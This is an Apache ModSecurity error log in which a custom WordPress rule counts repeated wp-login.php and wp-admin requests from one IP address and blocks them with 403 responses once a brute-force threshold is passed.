[Fri Feb 27 20:58:07.036423 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:42302] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGU38KBhrfI6KNv9RixmQAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:07.876243 2026] [:error] [pid 49306:tid 49310] [client 159.203.62.100:42314] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU3_nSUDZue59Px9sGsAAAAUI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:07.876320 2026] [:error] [pid 49306:tid 49310] [client 159.203.62.100:42314] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU3_nSUDZue59Px9sGsAAAAUI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:08.724296 2026] [:error] [pid 54103:tid 54177] [client 159.203.62.100:42316] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGU4OvG4MPCmE0B2sCf6AAAAMY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:09.569758 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:57344] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGU4cKBhrfI6KNv9RixpQAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:10.408688 2026] [:error] [pid 56075:tid 56094] [client 159.203.62.100:57354] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGU4sKBhrfI6KNv9RixqwAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:11.258825 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:57366] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGU48KBhrfI6KNv9RixtAAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:12.101541 2026] [:error] [pid 54231:tid 54241] [client 159.203.62.100:57378] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU5OTvb5AeyJCdY7AJSgAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:14.808338 2026] [:error] [pid 54231:tid 54256] [client 159.203.62.100:57378] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU5uTvb5AeyJCdY7AJTAAAAFY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:16.049012 2026] [:error] [pid 54231:tid 54243] [client 159.203.62.100:57378] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU6OTvb5AeyJCdY7AJTQAAAEk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:17.292809 2026] [:error] [pid 54231:tid 54257] [client 159.203.62.100:57378] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGU6eTvb5AeyJCdY7AJTgAAAFc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:18.142441 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGU6sKBhrfI6KNv9Rix3AAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:18.981845 2026] [:error] [pid 49306:tid 49312] [client 159.203.62.100:57400] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGU6vnSUDZue59Px9sGvgAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:19.838451 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:59944] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGU68KBhrfI6KNv9Rix6QAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:20.692655 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:59960] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU7Ia650YPyxXVeRY7QAAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:23.220860 2026] [:error] [pid 52073:tid 52087] [client 159.203.62.100:59960] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU74a650YPyxXVeRY7RQAAAYs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:24.412942 2026] [:error] [pid 52073:tid 52088] [client 159.203.62.100:59960] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU8Ia650YPyxXVeRY7RgAAAYw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:24.413054 2026] [:error] [pid 52073:tid 52088] [client 159.203.62.100:59960] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU8Ia650YPyxXVeRY7RgAAAYw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:25.270666 2026] [:error] [pid 62998:tid 63011] [client 159.203.62.100:59966] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGU8VQeueXZDUmoLok-OwAAAQk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:26.113578 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:59972] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGU8oa650YPyxXVeRY7TQAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:26.955953 2026] [:error] [pid 49306:tid 49313] [client 159.203.62.100:59974] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGU8vnSUDZue59Px9sGvwAAAUU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:27.794480 2026] [:error] [pid 52073:tid 52097] [client 159.203.62.100:59978] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGU84a650YPyxXVeRY7VQAAAZU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:28.641301 2026] [:error] [pid 54231:tid 54248] [client 159.203.62.100:59986] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU9OTvb5AeyJCdY7AJUAAAAE4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:31.309562 2026] [:error] [pid 54231:tid 54237] [client 159.203.62.100:59986] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU9-Tvb5AeyJCdY7AJUwAAAEM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:32.582005 2026] [:error] [pid 54231:tid 54244] [client 159.203.62.100:59986] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU-OTvb5AeyJCdY7AJVAAAAEo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:35.179132 2026] [:error] [pid 54231:tid 54249] [client 159.203.62.100:59986] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU--Tvb5AeyJCdY7AJWgAAAE8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:36.444987 2026] [:error] [pid 54231:tid 54234] [client 159.203.62.100:59986] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU_OTvb5AeyJCdY7AJXAAAAEA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:36.445087 2026] [:error] [pid 54231:tid 54234] [client 159.203.62.100:59986] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU_OTvb5AeyJCdY7AJXAAAAEA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:38.828599 2026] [:error] [pid 49306:tid 49324] [client 159.203.62.100:33942] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU_vnSUDZue59Px9sGzgAAAVA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:40.065109 2026] [:error] [pid 49306:tid 49321] [client 159.203.62.100:33942] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVAPnSUDZue59Px9sGzwAAAU0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:42.729512 2026] [:error] [pid 49306:tid 49308] [client 159.203.62.100:33942] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVAvnSUDZue59Px9sG1AAAAUA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:42.729611 2026] [:error] [pid 49306:tid 49308] [client 159.203.62.100:33942] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVAvnSUDZue59Px9sG1AAAAUA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:43.571219 2026] [:error] [pid 52073:tid 52087] [client 159.203.62.100:46718] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVA4a650YPyxXVeRY7dAAAAYs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:44.412594 2026] [:error] [pid 52073:tid 52095] [client 159.203.62.100:46728] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVBIa650YPyxXVeRY7dgAAAZM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:45.256977 2026] [:error] [pid 62998:tid 63015] [client 159.203.62.100:46744] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVBVQeueXZDUmoLok-UAAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:46.097509 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:46754] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVBsKBhrfI6KNv9RiyTQAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:48.558920 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:46754] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVCMKBhrfI6KNv9RiyUwAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:49.726520 2026] [:error] [pid 56075:tid 56083] [client 159.203.62.100:46754] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVCcKBhrfI6KNv9RiyVgAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:52.219920 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:46754] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVDMKBhrfI6KNv9RiyXAAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:53.409666 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:46754] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVDcKBhrfI6KNv9RiyYQAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:55.894844 2026] [:error] [pid 56075:tid 56081] [client 159.203.62.100:46754] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVD8KBhrfI6KNv9RiybgAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:57.115311 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:46754] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVEcKBhrfI6KNv9RiydAAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:58.331193 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:46754] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGVEsKBhrfI6KNv9RiyewAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:59.175316 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:45188] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVE8KBhrfI6KNv9RiyfwAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:00.010406 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:53100] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVFMKBhrfI6KNv9RiyggAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:00.846727 2026] [:error] [pid 62998:tid 63009] [client 159.203.62.100:53104] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVFFQeueXZDUmoLok-WwAAAQc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:01.687153 2026] [:error] [pid 52073:tid 52077] [client 159.203.62.100:53110] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVFYa650YPyxXVeRY7jQAAAYE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:01.687227 2026] [:error] [pid 52073:tid 52077] [client 159.203.62.100:53110] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVFYa650YPyxXVeRY7jQAAAYE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:03.912895 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:53114] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVF8KBhrfI6KNv9RiylwAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:05.146785 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:53114] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVGcKBhrfI6KNv9RiymgAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:07.766810 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:53114] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVG8KBhrfI6KNv9RiypwAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:08.941219 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:53114] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVHMKBhrfI6KNv9RiyqwAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:10.163895 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:53114] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGVHsKBhrfI6KNv9RiyswAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:11.024359 2026] [:error] [pid 54231:tid 54255] [client 159.203.62.100:35206] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVH-Tvb5AeyJCdY7AJbAAAAFU"], referer: https://gigfragments.org/wp-login.php
